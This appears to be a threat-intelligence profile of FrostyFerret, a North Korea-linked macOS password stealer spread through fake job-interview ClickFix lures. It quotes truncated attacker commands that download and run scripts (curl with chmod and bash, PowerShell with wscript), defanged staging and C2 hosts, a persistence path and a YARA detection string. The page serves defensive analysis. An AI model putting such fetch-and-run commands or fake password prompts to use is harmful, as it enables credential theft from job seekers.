Loading malware…
FrostyFerret is a macOS credential stealer used in North Korea-linked Contagious Interview and ClickFake Interview operations associated with Famous Chollima, also tracked as WaterPlum. It has been deployed by the BlockNovas cluster through fraudulent recruitment and video-assessment workflows targeting software developers and cryptocurrency-industry job seekers.
Delivery relies on ClickFix social engineering: fake interview websites present supposed camera or microphone problems and instruct applicants to execute commands advertised as software or driver updates. In observed macOS infection chains, a Bash installer downloads and extracts malicious components, executes FrostyFerret, and subsequently launches the separate GolangGhost backdoor.
FrostyFerret displays a fraudulent macOS authentication prompt claiming that Chrome requires camera or microphone access. It captures the system password entered by the victim and exfiltrates the submitted value to Dropbox, including empty or incorrect entries. Its directly established role is password theft; the remote-access and browser-data-stealing functions of the accompanying GolangGhost payload are distinct from FrostyFerret.
3 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
That software update is malware known as FrostyFerret in Mac and GolangGhost in Windows, although the C&C server involved is used by both Beavertail and FrostyFerret.
BlockNovas has been observed using video assessments to distribute FROSTYFERRET and GolangGhost using ClickFix-related lures...
On macOS, a Bash script downloads and extracts malicious components, then executes FrostyFerret to steal the system password before launching GolangGhost.
14 distinct techniques documented for this family, organized by ATT&CK tactic.
"...job-themed social engineering campaigns ... under the pretext of coding assignment or fixing an issue with their browser when turning on camera during a video assessment."
“Job seekers were contacted to plan a video call for a job interview via LinkedIn or X… operators sending users a URL link on social media, inviting them to a fake cryptocurrency-related interview on a website.”
Multiple titles reference 'Contagious Interview,' 'fake developer job interviews,' 'LinkedIn recruiting scam,' 'Recruitment Emails,' and 'Job Offer' lures used to deliver BeaverTail, InvisibleFerret, OtterCookie, PylangGhost, and GolangGhost.
“curl … && powershell -Command ‘Expand-Archive…’ && wscript …”; “cmd /c node nvidia.js”; “nohup bash /var/tmp/coremedia.sh …”
Windows command: “powershell -Command "Expand-Archive…" && wscript …update.vbs”
Linux/macOS commands: “curl -k -o /var/tmp/nvidia_update.sh … && chmod +x … && bash …”
“This is where the operator employs the ClickFix technique… commands to copy, paste, and run on their system… curl -k -o … && … && wscript …”
“creates a plist file serving as a service, /Library/LaunchAgents/com.drive.plist, which points to a bash file named cloud.sh.”
“creates a plist file serving as a service, /Library/LaunchAgents/com.drive.plist, which points to a bash file named cloud.sh.”
“download a driver to fix the issue… nvidiadrivers.zip… decoy archive containing a real driver”; “FrostyFerret uses the same icon as Chrome… claiming that Chrome needs access…”
“executes FrostyFerret… to retrieve the user’s system password… prompt requesting the user’s system password… password is exfiltrated to Dropbox. It is likely used after to access the user’s keychain.”
“presents a fake window… followed by a prompt requesting the user’s system password… the password is exfiltrated to Dropbox. It is likely used after to access the user’s keychain.”
“executes FrostyFerret… to retrieve the user’s system password… prompt requesting the user’s system password… password is exfiltrated to Dropbox. It is likely used after to access the user’s keychain.”
“presents a fake window… followed by a prompt requesting the user’s system password… the password is exfiltrated to Dropbox. It is likely used after to access the user’s keychain.”
“domain… observed to be both a command and control (C2) and staging server… lianxinxiao[.]com:5000… /uploads /keys /check-running…”
“use the following curl command… download and execute a malicious bash script… or download a ZIP archive… fetches a ZIP archive named nvidiadrivers.zip hosted at… https://api.smartdriverfix[.]cloud/…”
“the password is exfiltrated to Dropbox.”; YARA string: “content.dropboxapi.com/2/files/upload”
14 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
9 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.